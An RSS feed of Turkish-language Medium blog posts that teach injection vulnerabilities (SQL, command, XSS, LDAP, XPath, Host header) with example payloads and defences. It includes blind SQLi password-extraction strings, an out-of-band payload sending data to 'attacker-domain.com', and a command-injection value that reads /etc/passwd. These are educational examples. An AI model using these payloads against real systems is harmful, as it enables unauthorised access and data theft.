<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Emineero on Medium]]></title>
        <description><![CDATA[Stories by Emineero on Medium]]></description>
        <link>https://medium.com/@emineero61?source=rss-35d121cac45c------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*VdgbmCOwOHbvVTAj</url>
            <title>Stories by Emineero on Medium</title>
            <link>https://medium.com/@emineero61?source=rss-35d121cac45c------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 07:23:27 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@emineero61/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[SQL INJECTION TÜRLERİ]]></title>
            <link>https://medium.com/@emineero61/sql-injection-t%C3%BCrleri%CC%87-c7933ef6cff7?source=rss-35d121cac45c------2</link>
            <guid isPermaLink="false">https://medium.com/p/c7933ef6cff7</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[web-security]]></category>
            <dc:creator><![CDATA[Emineero]]></dc:creator>
            <pubDate>Wed, 22 Jul 2026 06:37:01 GMT</pubDate>
            <atom:updated>2026-07-22T06:37:01.840Z</atom:updated>
            <content:encoded><![CDATA[<p>Siber güvenlik serüvenimizde her adımda yeni bir mimariyi, her mimaride ise çözülmesi gereken farklı bulmacaları keşfetmeye devam ediyoruz. Bu yazıda web uygulama güvenliğinin belki de en eski, en popüler ve hala en tehlikeli aktörlerinden birine yakından bakacağız: <strong>SQL Injection (SQLi)</strong>.</p><p>Veritabanlarının arka planda sessizce uygulamayı sırtladığı senaryolarda, girdi kontrolünün ihmal edilmesi siber saldırganlara adeta altın bir anahtar sunar. Siber dünyada adından sıkça söz ettiren SQL Injection türlerini, mantığını ve arka plandaki işleyişlerini hep birlikte inceleyelim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*RrPmSNDus_k-Uw_LHrzcxw.png" /></figure><p>Tabloda da görüldüğü gibi SQL Injection’ın 3 türü vardır. Şimdi bunları açıklayalım:</p><h4>1. In-band SQLi (Classic SQLi):</h4><p>Saldırganın veritabanı ile aynı iletişim kanalını kullanıp verileri doğrudan aldığı en yaygın yöntemdir. Kendi içinde ikiye ayrılır:</p><p><strong>a. Error-based SQLi: </strong>Uygulamanın veri tabanından veri çalmak için kullanılan bir yöntemdir. Veritabanı hatalarını tetikler ve hata mesajları üzerinden veritabanı yapısı ve içerik hakkında bilgi toplamayı hedefler.</p><p><strong>Payload örneği:</strong></p><pre>kullanici_adi=admin&#39; and 1=1 –kullanici_adi=admin&#39; and 1=1 --</pre><p><strong>Backend tarafında sorgu işlenişi:</strong></p><pre>SELECT * FROM kullanicilar WHERE kullanici_adi = &#39;admin&#39; and 1=1 --</pre><p><strong>b. Union-based SQLi:</strong> Veritabanı içeriğini çalmak için kullanılan bir tekniktir. Bu türde saldırgan birden fazla tablodan veri çalmak için SQL ifadelerini çalıştırır. UNION operatörü kullanılarak, uygulamanın orijinal sorgusuna saldırgan kendi sorgusunu ekler ve sonuçları web sayfasında görüntüler.</p><p><strong>Payload örneği:</strong></p><pre>admin&#39; UNION SELECT 1, 2, 3 --</pre><p><strong>Backend tarafında sorgu işlenişi:</strong></p><pre>SELECT * FROM kullanicilar WHERE kullanici_adi = &#39;admin&#39; UNION SELECT * FROM kullanicilar --</pre><h4>2. Inferential SQLi (Blind SQLi):</h4><p>Saldırganın veritabanından doğrudan veri alamadığı, ancak uygulamanın davranışlarını gözlemleyerek veritabanı hakkında çıkarım yaptığı yöntemdir. Kendi içinde ikiye ayrılır:</p><p><strong>a. Boolean-based (Boolean Tabanlı):</strong> Uygulamaya doğru veya yanlış sonuçlar döndüren sorgular gönderilir. Sayfanın içeriğinin değişip değişmediğine bakılarak veritabanı hakkında bilgi edinilir.</p><p><strong>Payload örneği:</strong></p><pre>admin&#39; AND SUBSTRING((SELECT password FROM users WHERE username=&#39;admin&#39;), 1, 1) = &#39;a&#39; --</pre><p><strong>Backend tarafı sorgu işlenişi:</strong></p><pre>SELECT * FROM kullanicilar WHERE kullanici_adi = &#39;admin&#39; AND SUBSTRING((SELECT password FROM users WHERE username=&#39;admin&#39;), 1, 1) = &#39;a&#39; –&#39; AND sifre = &#39;…&#39;</pre><p><strong>b. Time Based (Zaman Tabanlı):</strong> Veritabanına belirli bir süre bekletme komutu (örneğin SLEEP() ) gönderilir. Uygulamanın yanıt verme süresindeki gecikmeye göre tahminler yürütülür.</p><p><strong>Payload örneği:</strong></p><pre>admin&#39; AND IF(ASCII(SUBSTRING((SELECT database()),1, 1)) = 115, SLEEP(5), 0) --</pre><p><strong>Backend tarafında sorgu işlenişi:</strong></p><pre>SELECT * FROM kullanicilar WHERE kullanici_adi = &#39;admin&#39; AND IF(ASCII(SUBSTRING((SELECT database()), 1, 1)) = 115, SLEEP(5), 0) - &#39; AND sifre = &#39;…&#39;</pre><h4>3. Out-of Band SQLi (OOB SQLi):</h4><p>Saldırgan veritabanı sunucusuna verileri başka bir yolla (DNS ve HTTP istekleri gibi) dışarıya gönderttiği, gelişmiş bir tekniktir. Bu yöntem genellikle diğer tekniklerin çalışmadığı durumlarda kullanılır.</p><p><strong>Payload örneği:</strong></p><pre>&#39; UNION SELECT LOAD_FILE(CONCAT(&#39;\\\\&#39;, (SELECT version()), &#39;.attacker-domain.com\\a&#39;)) --</pre><p><strong>Backend tarafında sorgu işlenişi:</strong></p><pre>SELECT * FROM kullanicilar WHERE kullanici_adi = &#39;&#39; UNION SELECT LOAD_FILE(CONCAT(&#39;\\\\&#39;, (SELECT version()), &#39;.attacker-domain.com\\a&#39;)) - &#39;AND sifre = &#39;…&#39;</pre><p><strong>Son Söz: Görünmeyeni Görmek, Açığı Kapatmak</strong></p><p>SQL Injection, yıllardır OWASP Top 10 listesinde üst sıralarda yer alsa da mantığını kavradığımızda hem tespit etmesi hem de önlemesi oldukça net bir zafiyettir. Saldırganlar bazen açık bir hata mesajından (Error-based), bazen uygulamanın milisaniyelik gecikmelerinden (Time-based), bazen de sunucunun dışarıya attığı gizli bir DNS sorgusundan (OOB) yola çıkarak veritabanının haritasını çıkarabilirler.</p><p>Bir siber güvenlik araştırmacısı veya geliştirici olarak görevimiz; bu girdi kanallarını her zaman “zararlı olabilecek” gözüyle değerlendirmek, <strong>Parameterized Queries (Prepared Statements)</strong> kullanmak ve veritabanı yetkilerini minimumda tutmaktır.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c7933ef6cff7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[INJECTION TÜRLERİ]]></title>
            <link>https://medium.com/@emineero61/injection-t%C3%BCrleri%CC%87-334fb228d6fa?source=rss-35d121cac45c------2</link>
            <guid isPermaLink="false">https://medium.com/p/334fb228d6fa</guid>
            <category><![CDATA[secure-coding]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[siber-guvenlik]]></category>
            <dc:creator><![CDATA[Emineero]]></dc:creator>
            <pubDate>Mon, 13 Jul 2026 08:27:19 GMT</pubDate>
            <atom:updated>2026-07-13T08:27:19.517Z</atom:updated>
            <content:encoded><![CDATA[<p>Modern web uygulamaları, her gün milyonlarca kullanıcıdan gelen verileri işleyen, dinamik ve yaşayan yapılardır. Ancak bu devasa veri trafiğinin arkasında siber saldırganların en sevdiği, en çok istismar ettiği ölümcül bir hata gizlidir: <strong>Kullanıcıdan gelen girdiye körü körüne güvenmek.</strong></p><p>Güvenlik dünyasında <strong>“Injection” (Enjeksiyon)</strong> olarak adlandırılan bu saldırı türü, özünde çok basit ama yıkıcı bir mantığa dayanır: Kötü niyetli bir kullanıcının sisteme geçersiz veya manipüle edilmiş veri girişi yaparak, uygulamanın bu veriyi kodun bir parçası olarak çalıştırmasını sağladığı kritik güvenlik açıklarını ifade eder. Uygulamanın sadece “veri” olarak işlemesi gereken bir girdi, araya sızan kötü niyetli karakterler yüzünden bir anda sistemin üzerinde çalışan “yıkıcı bir komuta” dönüşür. OWASP Top 10 listelerinin değişmez lideri olan enjeksiyon zafiyetleri, bugün devasa şirketlerin veri ihlallerinden, sunucuların tamamen ele geçirilmesine kadar giden dijital felaketlerin başrol oyuncusudur.</p><p>En yaygın ve tehlikeli injection türlerini inceleyelim:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ru_w-ZQdtOLdIfwKq7y3gw.png" /></figure><h4><strong>1.</strong> <strong>SQL Injection (SQLi)</strong></h4><p>Bilinen ve en tehlikeli injection türüdür. Saldırganlar, uygulamanın veritabanı sorgularına müdahale eder. Aynı zamanda uygulamanın kullanıcıdan aldığı girdileri yeterince filtrelemediği durumlarda, bu girdiler içine kötü amaçlı SQL komutları yerleştirerek veritabanını manipüle edebilirler.</p><p><strong>SQL Injection Nasıl Çalışır?</strong></p><p>Normal bir senaryoda, bir giriş formu şu şekilde bir sorgu oluşturur:</p><pre>SELECT * FROM kullanicilar WHERE kullanici_adi = &#39;$kullanici_adi&#39; AND sifre = &#39;$sifre&#39;;</pre><p>Eğer uygulama girdileri kontrol etmezse, bir saldırgan kullanici_adi kısmına şu ifadeyi girebilir:<strong> ’ OR ‘1’ = ‘1</strong></p><p>Bu durumda oluşan sorgu şöyle görünür:</p><pre>SELECT * FROM kullanicilar WHERE kullanici_adi = &#39;&#39; OR &#39;1&#39;=&#39;1&#39; AND sifre = &#39;…&#39;;</pre><p>Burada<strong> ‘1’=’1’</strong> ifadesi her zaman doğru (true) döndüğü için, veritabanı saldırganın şifresini bilmese bile sisteme giriş yapmasına izin verir.</p><p><strong>Olası Riskler ve Etkileri</strong></p><p>· <strong>Veri İhlali: </strong>Veritabanındaki tüm kullanıcı bilgileri, e-postalar, şifre hash’leri veya gizli veriler çalınabilir.</p><p>· <strong>Yetkisiz Erişim:</strong> Yönetici panellerine erişim sağlanabilir.</p><p>· <strong>Veri Değiştirme veya Silme: </strong>Saldırgan veritabanındaki verileri silebilir veya değiştirebilir.</p><p>· <strong>Kimlik Doğrulama Atlatma:</strong> Şifreye ihtiyaç duymadan sisteme girebilir.</p><p><strong>SQL Injection’dan Nasıl Korunuruz?</strong></p><p>SQL Injection’ı önlemek için geliştirme aşamasında şu güvenlik önlemlerini uygulamak zorunludur:</p><p>· <strong>Hazırlanmış İfadeler (Prepared Statements / Parameterized Queries): </strong>En etkili yöntemdir. Sorgu yapısı önceden tanımlanır ve kullanıcıdan gelen veriler sadece veri olarak işlenir, komut olarak çalıştırılmaz.</p><p>· <strong>Stored Procedures (Saklı Yordamlar):</strong> Veritabanı seviyesinde tanımlanan bu yapılar, doğru kullanıldığında SQLi riskini minimize eder.</p><p>· <strong>Girdi Doğrulama ve Filtreleme (Input Validation):</strong> Kullanıcıdan gelen verilerin beklenen formatta olup olmadığı kontrol edilir.</p><p>· <strong>En Az Yetki İlkesi (Principle of Least Privilege):</strong> Veritabanı kullanıcısına sadece ihtiyacı olan yetkiler verilmeli.</p><p>· <strong>Güvenlik Duvarı (WAF):</strong> Web Uygulama Güvenlik Duvarları, bilinen SQLi saldırı kalıplarını tespit edip engelleyebilir.</p><p>Özetle, SQL Injection temel olarak “kullanıcıdan gelen girdiye asla güvenme” prensibinin ihlal edilmesinden kaynaklanır. Günümüzde çoğu modern framework (Laravel, Django, Entity Framework vb.), varsayılan olarak “Prepared Statements” kullanarak bu zafiyete karşı koruma sağlar.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/738/1*1ThFeNlc_ud5YRnKcYctcQ.png" /></figure><h4>2. Command Injection (OS Injection)</h4><p>Saldırganın, işletim sistemi (OS) üzerinde keyfi komutlar çalıştırmasına izin veren kritik bir güvenlik zafiyetidir. Doğrudan sunucunun işletim sistemini hedef alır. Eğer bir uygulama, kullanıcıdan aldığı girdiyi güvenli bir şekilde filtrelemeden sistem komutlarını çalıştıran fonksiyonlara aktarırsa bu zafiyet oluşur.</p><p><strong>Command Injection Nasıl Çalışır?</strong></p><p>Diyelim ki bir web uygulaması kullanıcının girdiyi bir IP adresine “ping” atıyor ve sonucu ekrana yazdırıyor. Arka planda çalışan kod şu şekilde olsun:</p><pre>system(&quot;ping -c 4 &quot; . $_GET[&#39;ip&#39;]);</pre><p>Normal bir kullanıcı <strong>8.8.8.8</strong> girerse sunucu <strong>ping -c 4 8.8.8.8</strong> komutunu çalıştırır.</p><p>Ancak bir saldırgan<strong> 8.8.8.8; cat /etc/passwd</strong> girdisini gönderirse, sunucu şu iki komutu sırasıyla çalıştırır:</p><p>1. ping -c 4 8.8.8.8</p><p>2. cat /etc/passwd (Sistemdeki kullanıcı listesini okur ve saldırgana gönderir)</p><p>Burada<strong> ;</strong> ,<strong> &amp;&amp;</strong> veya<strong> |</strong> gibi karakterler, işletim sistemine “ilk komut bittikten sonra bunu da çalıştır” veya “ilk komutun çıktısını buna aktar” talimatı verir.</p><p><strong>Olası Riskler ve Etkileri</strong></p><p>Command Injection, genellikle sistem üzerindeki tam kontrolün kaybedilmesine yol açar:</p><p>· <strong>Veri İhlali: </strong>Sunucudaki tüm dosyalara, konfigürasyon dosyalarına ve veritabanı şifrelerine erişilebilir.</p><p>· <strong>Sunucunun Ele Geçirilmesi: </strong>Saldırgan, sunucuya bir “reverse shell” (ters bağlantı) kurarak sisteme uzaktan bağlanabilir.</p><p>· <strong>Malware ve Botnet: </strong>Sunucu, başka saldırılar yapmak için bir “zombi makine” olarak kullanılabilir veya üzerine zararlı yazılımlar yüklenebilir.</p><p>· <strong>Sistem Çökmesi: </strong>Kritik sistem dosyalarının silinmesi veya sistemin aşırı yüklenmesi sağlanabilir.</p><p><strong>Nasıl Korunuruz?</strong></p><p>Bu zafiyeti engellemenin temel kuralı, kullanıcı girdisini hiçbir zaman doğrudan komut satırına göndermemektir.</p><p><strong>1.</strong> <strong>Yerleşik Fonksiyonları Kullanmak: </strong>İşletim sistemi komutları yerine programlama dilinin sunduğu kütüphaneleri kullanmalıyız.</p><p><strong>2. Girdi Doğrulama (Whitelisting):</strong> Eğer dışarıdan gelen verinin bir komutla kullanılması gerekiyorsa, girdiyi kesinlikle sınırlandırmalıyız. Sadece izin verilen karakterlere izin vermeliyiz, diğer karakterleri girdi olarak almamalıyız.</p><p><strong>3.</strong> <strong>Parametreleştirme:</strong> Bazı dillerde komutları güvenli çalıştırmak için özel yöntemler vardır; girdi argüman olarak geçirilmeli, komutun bir parçası olmamalı.</p><p><strong>4.</strong> <strong>Yetki sınırlandırma (Least Privilege):</strong> Web sunucusunu, sistemde en az yetkiye sahip kullanıcıyla çalıştırmalıyız. Böylece saldırgan komut çalışsa bile tüm sistemi kökten ele geçiremez.</p><p><strong>5.</strong> <strong>Escape Fonksiyonları:</strong> Kullanılan dildeki escapeshellarg() veya escapeshellcmd() gibi fonksiyonlar kullanılarak girdideki tehlikeli karakterler etkisiz hale getirilmeli. (Her zaman %100 koruma sağlamaz.)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*v9kO235bfuYAfysY5WVGTg.png" /></figure><h4><strong>3. Cross-Site Scripting (XSS)</strong></h4><p>Bir saldırganın güvenilir bir web sitesine kötü amaçlı betikler (genellikle JavaScript) enjekte ettiği bir güvenlik zafiyetidir. Doğrudan sunucuyu değil, kullanıcıyı hedef alır. Saldırgan, uygulamanın kullanıcıya sunduğu içeriğe zararlı kod ekler ve tarayıcı bu kodu sitenin kendi koduymuş gibi çalıştırır.</p><p><strong>XSS Türleri</strong></p><p>· <strong>Stored (Kalıcı) XSS:</strong> En tehlikeli türdür. Zararlı kod veritabanına kaydedilir. Siteyi ziyaret eden herkes bu kodu çalıştırır.</p><p>· <strong>Reflected (Yansıtmalı) XSS:</strong> Zararlı kod bir link aracılığıyla anlık olarak yansıtılır. Saldırganın, kurbanı içinde zararlı kod bulunan linke tıklamaya ikna etmesi gerekir.</p><p>· <strong>DOM-based XSS:</strong> Kod, istemci tarafındaki (client-side) DOM yapısında çalışır. Sunucudan bağımsız, tamamen istemci bir zafiyettir.</p><p><strong>XSS Nasıl Çalışır?</strong></p><p>Diyelim ki bir web sitesinde arama sonucu sayfası var ve girdiğiniz kelimeyi ekrana şöyle yazdırıyor: “Arama sonucunuz: [Girdi]”.</p><p>Saldırgan şu girdiyi girer:<strong> &lt;script&gt;alert(‘Hesabınız hacklendi!’);&lt;/script&gt;</strong></p><p>Uygulama bunu filtrelemezse, kurbanın tarayıcısı bunu bir metin değil, çalıştırılması gereken bir kod olarak algılar ve ekranda bir uyarı kutusu gösterir. Gerçek bir saldırı ise bu kod, kullanıcının çerezlerini(cookie) çalmak veya onu sahte bir giriş sayfasına yönlendirmek için kullanılır.</p><p><strong>Olası Riskler ve Etkileri</strong></p><p><strong>·</strong> <strong>Oturum Çalma (Session Hijacking): </strong>Kullanıcının oturum tanımlayıcıları (session cookie) çalınarak hesaplarına izinsiz giriş yapılmasıdır.</p><p><strong>·</strong> <strong>Kimlik Avı (Phishing): </strong>Gerçek sitenin üzerine<strong> </strong>sahte giriş formu ekleyerek kullanıcıların şifrelerini ele geçirilmesi.</p><p><strong>·</strong> <strong>İstenmeyen Eylemler: </strong>Kullanıcının bilgisi dışında yorum yapma, mesaj atma veya hesap ayarlarını değiştirme gibi işlemler yaptırılabilmesidir.</p><p><strong>·</strong> <strong>Kötü Amaçlı Yazılım Dağıtımı: </strong>Kullanıcı zararlı dosyalar indirmeye zorlanabilir.</p><p><strong>Nasıl Korunulur?</strong></p><p>XSS’i önlemenin temel mantığı, tarayıcının kullanıcıdan gelen veriyi kod olarak çalıştırmasını engellemektir.</p><p><strong>1. Girdileri Filtrelemek ve Temizlemek: </strong>Kullanıcıdan gelen tüm verileri güvenilmez kabul edip özel karakterler HTML varlıklarına dönüştürülmeli (Output Encoding).</p><p><strong>2. İçerik Güvenlik Politikası (Content Security Policy — CSP): </strong>Tarayıcıya hangi kaynaklardan betik çalıştırabileceğini söyleyen güçlü bir CSP başlığı eklenmeli.</p><p><strong>3. HttpOnly Çerezleri:</strong> Çerezlere HttpOnly bayrağı eklenerek, JavaScript ile bu çerezlerin okunması imkânsız hale getirilmeli. Bu, XSS saldırısı olsa bile oturum bilgilerinin çalınmasını zorlaştırır.</p><p><strong>4. Modern Framework’ler Kullanılmalı:</strong> React, Angular veya Vue gibi modern kütüphaneler, varsayılan olarak veriyi otomatik “encode” ederek XSS zafiyetlerini büyük ölçüde engeller.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*ttVeuCMSeLJupddaoEjMuQ.jpeg" /></figure><h4><strong>4. LDAP Injection</strong></h4><p>LDAP (Lightweight Directory Access Protokol) veritabanlarını hedef alır. LDAP, genellikle kurumsal ağlarda kullanıcı kimlik doğrulama, rehber veya yetkilendirme bilgilerini tutmak ve yönetmek için kullanılan bir protokoldür. Bir saldırgan LDAP sorgularını manipüle ederek, yetkisiz bilgilere erişebilir veya kimlik doğrulama mekanizmalarını atlatabilir.</p><p><strong>LDAP Injection Nasıl Çalışır?</strong></p><p>Bir web uygulamasının kullanıcıdan aldığı kullanici_adi bilgisini bir LDAP filtresi oluşturmak için kullanıyor olsun:</p><pre>(&amp;(uid=&quot; + kullanici_adi + &quot;)(userPassword=&quot; + parola + &quot;))</pre><p>Normal bir sorguda kullanici_adi değeri “ahmet” ise filtre şu hale gelir:</p><pre>(&amp;(uid=ahmet )(userPassword=sifre123))</pre><p>Ancak bir saldırgan, kullanici_adi alanına *)(uid=* yazarsa, oluşan sorgu şu hale gelir:</p><pre>(&amp;(uid=*)(uid=*)(userPassword=sifre123))</pre><p>LDAP sunucusu bu sorguyu işlediğinde, uid değeri ne olursa olsun ilk eşleşen kaydı döndürür ve saldırgan şifreyi bilmeden sisteme sızmış olur.</p><p><strong>Olası Riskler ve Etkileri</strong></p><p><strong>·</strong> <strong>Yetkisiz Veri Erişimi: </strong>LDAP dizinindeki gizli kullanıcı bilgileri, e-posta adresleri telefon numaraları veya organizasyon şemaları açığı çıkabilir.</p><p><strong>·</strong> <strong>Kimlik Doğrulama Atlatma: </strong>Kullanıcıların şifreleri bilinmese bile sisteme giriş yapılabilir.</p><p><strong>·</strong> <strong>Yetki Yükseltme: </strong>Saldırgan, kendisini veya başka bir hesabı “yönetici grubuna dahil edebilir veya yetki seviyesini değiştirebilir.</p><p><strong>· Dizin Bilgisi Toplama:</strong> LDAP yapısı hakkında detaylı bilgi edinerek diğer saldırı vektörlerini (örneğin hedef odaklı oltalama(Phishing)) kolaylaştırabilir.</p><p><strong>Nasıl Korunuruz?</strong></p><p><strong>·</strong> <strong>Girdi Filtreleme ve Kaçırma (Escaping): </strong>Kullanıcıdan gelen girdileri özel LDAP karakterlerini<strong> (*</strong>,<strong> (</strong>,<strong> )</strong>,<strong> &amp;</strong>, <strong>|</strong>,<strong> \</strong>,vb.) güvenli hale getirilmeli. Çoğu modern programlama dilinde LDAP için hazır “escape” fonksiyonları bulunur.</p><p><strong>·</strong> <strong>Whitelist (Beyaz Liste):</strong> Kullanıcı girdisinin sadece izin verilen karakterlerden oluştuğuna emin olunmalı.</p><p><strong>·</strong> <strong>Güvenli API Kullanımı:</strong> LDAP sorgularını oluştururken dizge (string) birleştirme yerine, parametreli sorgular destekleyen modern ve güvenilir kütüphaneler tercih edilmeli.</p><p><strong>· En Az Yetki İlkesi:</strong> Uygulamanın LDAP sunucusuna bağlanan kullanıcısına, sadece ihtiyaç duyduğu sorguları yapabileceği minimum düzeyde yetki verilmeli.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ubsYCN2MmUWxKEe9Q6Lv2g.png" /></figure><h4>5. XPath Injection</h4><p>XML verilerini sorgulamak için kullanılan XPath ifadelerine yapılan saldırılardır. XML tabanlı veritabanları veya yapılandırma dosyalarıyla çalışan uygulamalarda, SQL Injection’ın XPath dünyasındaki karşılığıdır. Saldırgan, sorgu yapısını manipüle ederek XML dokümanı içindeki tüm verileri okuyabilir veya mantıksal sorguları atlayabilir.</p><p><strong>XPath Injection Nasıl Çalışır?</strong></p><p>Diyelim ki bir uygulama, bir kullanıcının bilgilerini XML dosyasından şu şekilde çekiyor:</p><pre>String query = &quot;//user[username/text()=&#39;&quot; + kullanici_adi + &quot;&#39; and password/text()=&#39;&quot; + sifre + &quot;&#39;]&quot;;</pre><p>Saldırgan kullanici_adi alanına <strong>‘ or ‘1’=’1</strong> girerse, sorgu şu hale gelir:</p><pre>//user[username/text()=&#39;&#39; or &#39;1&#39;=&#39;1&#39; and password/text()=&#39;…&#39;]</pre><p><strong>‘1’=‘1’</strong> her zaman doğru olduğu için, uygulama herhangi bir şifre kontrolü yapmadan XML deki ilk kullanıcıyı (genellikle yönetici) sisteme giriş yaptırır.</p><p><strong>Olası Riskler ve Yan Etkileri</strong></p><p><strong>· Veri Sızıntısı:</strong> XML dosyası içindeki hassas bilgiler ele geçirilebilir.</p><p><strong>· Kimlik Doğrulama Atlatma:</strong> Şifreleri bilmeden sistemdeki yetkili hesaplara erişim sağlanabilir.</p><p><strong>· Hiyerarşik Yapıyı Keşfetme:</strong> XML şeması hakkında bilgi edinilerek, daha karmaşık saldırılar için veritabanı haritalanabilir.</p><p><strong>Nasıl Korunuruz?</strong></p><p><strong>·</strong> <strong>Parametreli Saldırılar (Parameterized XPath Queries):</strong> En güvenli yoldur. Kullanıcı girdisi doğrudan sorgu dizisine eklenmek yerine, parametre olarak sorguya iletilmesidir. Çoğu modern XML kütüphanesi bu desteği sağlar.</p><p><strong>·</strong> <strong>Girdi Doğrulama (Input Validation): </strong>Kullanıcı girdileri her zaman kısıtlanmalı. Beklenen veri türü dışındaki karakterler reddedilmelidir.</p><p><strong>· Karakter Kaçırma (Escaping): </strong>Eğer parametreli sorgu kullanılmıyorsa, kullanıcıdan gelen girdideki XPath özel karakterleri manuel olarak temizlenmeli veya kaçırılmalı.</p><p><strong>·</strong> <strong>Güvenli XML Ayrıştırıcılar: </strong>XML ayrıştırıcısı (parser) her zaman güncel tutulmalı ve External Entity (XXE) saldırılarını engellemek için gerekli yapılandırmalar yapılmalı.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/556/1*nur48brAE_VIKn1HkuAMUw.jpeg" /></figure><h4>6. Host Header Injection</h4><p>HTTP isteklerindeki “Host” başlığının (header) doğrulanmadığı durumlarda gerçekleşir. HTTP protokolünde Host başlığı, tarayıcının hangi etki alanına (domain) bağlandığını belirtir. Ancak bazı uygulamalar, şifre sıfırlama linkleri, önbellek (cache) mekanizmaları veya yönlendirmeler oluştururken bu başlığın güvenilir kabul ederler ve doğrudan sayfa kullanılır.</p><p><strong>Host Header Injection Nasıl Çalışır?</strong></p><p>Bir saldırgan, sunucuya gönderdiği isteğin Host başlığını manipüle edebilir. Örneğin, “Şifremi unuttum” özelliğini düşünelim:</p><p><strong>1.</strong> <strong>Normal İstek: </strong>Kullanıcı site.com üzerinden şifre sıfırlama isteği gönderir.</p><p><strong>2.</strong> <strong>Uygulama Mantığı:</strong> Sunucu, şifre sıfırlama linkini Host başlığına bakarak oluşturur:</p><pre>http://[Host_Header]/sifre-sifirla?token=123.</pre><p><strong>3.</strong> <strong>Saldırı: </strong>Saldırgan isteği yakalar ve Host başlığını kotuniyetli-site.com olarak değiştirir.</p><p><strong>4.</strong> <strong>Sonuç:</strong> Sunucu, şifre sıfırlama e-postasını kurbana şu linkle gönderir:</p><pre>http://kotuniyetli-site.com/sifre-sifirla?token=123.</pre><p>Kullanıcı bu linke tıkladığında, token’ı saldırganın eline geçmiş olur ve saldırgan kullanıcının hesabını ele geçirebilir.</p><p><strong>Olası Riskler ve Yan Etkiler</strong></p><p><strong>·</strong> <strong>Şifre Sıfırlama İstismarı: </strong>Kullanıcıların hesaplarını ele geçirme.</p><p><strong>· Web Cache Poisoning (Önbellek Zehirlenmesi): </strong>Eğer bir CDN veya önbellek sunucusu kullanılıyorsa, saldırgan zararlı bir Host başlığı ile önbelleği “zehirleyerek” diğer tüm kullanıcıların kötü amaçlı içeriği görmesine neden olabilir.</p><p><strong>·</strong> <strong>Open Redirect (Açık Yönlendirme): </strong>Kullanıcıyı uygulamanın içinde tutmak yerine, zararlı başka sitelere yönlendirmek.</p><p><strong>·</strong> <strong>Güvenlik Politikalarının Bypass Edilmesi: </strong>Bazı durumlarda CORS (Cross-Origin Resource Sharing) veya diğer güvenlik kısıtlamaları Host başlığına duyarlıdır.; bu başlığın manipüle edilmesi politikaların atlatılmasına neden olabilir.</p><p><strong>Nasıl Korunuruz?</strong></p><p><strong>· Host Başlığına Güvenilmemeli: </strong>Uygulamalarda asla Host başlığı doğrudan kullanılmamalı. Eğer mutlaka kullanılması gerekiyorsa, güvenli bir beyaz liste (whitelist) ile karşılaştırılmalı.</p><p><strong>·</strong> <strong>Sabit Domain Tanımlanmalı:</strong> Şifre sıfırlama linkleri gibi kritik URL’ler oluşturulurken, kodun içinde sabit tanımlanmış (hardcoded) veya konfigürasyon dosyasından gelen güvenilir domain adresi kullanılmalı.</p><p><strong>· Proxy/Sunucu Yapılandırılması:</strong> Web sunucusu sadece izin verilen domainlerden gelen isteklere cevap verecek şekilde yapılandırılmalı.</p><p><strong>·</strong> <strong>Absolute URL Kullanılmamalı:</strong> Bağlantılar göreceli (relative) yollarla oluşturulmalı, tam URL’ler dinamik oluşturulmamalı.</p><p><strong>Son Söz: Güvenlik Bir Yama Değil, Bir Süreçtir</strong></p><p>İster milyarlarca satırlık devasa bir veritabanını yöneten SQL sorgusu olsun, ister sunucunun arkasında çalışan basit bir ping komutu… Gördüğümüz tüm bu injection türlerinin tek bir ortak noktası var: <strong>Geliştiricinin bıraktığı bir anlık boşluk ve temizlenmemiş girdiler.</strong></p><p>Siber güvenlik dünyasında altın bir kural vardır: <strong>“Kullanıcıdan gelen girdiye asla güvenme.”</strong> (Never Trust User Input). Bugün modern yazılım framework’leri bizlere varsayılan olarak birçok koruma mekanizması sunsa da, saldırganların her zaman yeni bir “kaçış karakteri” veya mantık hatası arayacağını unutmamalıyız.</p><p>Güvenli kod geliştirmek (Secure Coding), projeye sonradan eklenen bir yama değil; mimarinin en başında, temelinde atılması gereken bir harçtır. En az yetki ilkesini benimseyerek, girdileri sıkı bir beyaz listeden (whitelist) geçirerek ve savunma hatlarımızı güncel tutarak uygulamalarımızı bu siber tehditlere karşı birer kaleye dönüştürebiliriz.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=334fb228d6fa" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Web Tabanlı Sistemler İçin Güvenlik Açıkları]]></title>
            <link>https://medium.com/@emineero61/web-tabanl%C4%B1-sistemler-i%CC%87%C3%A7in-g%C3%BCvenlik-a%C3%A7%C4%B1klar%C4%B1-350ae8eb95bc?source=rss-35d121cac45c------2</link>
            <guid isPermaLink="false">https://medium.com/p/350ae8eb95bc</guid>
            <category><![CDATA[web-development]]></category>
            <category><![CDATA[owasp]]></category>
            <category><![CDATA[software-engineering]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
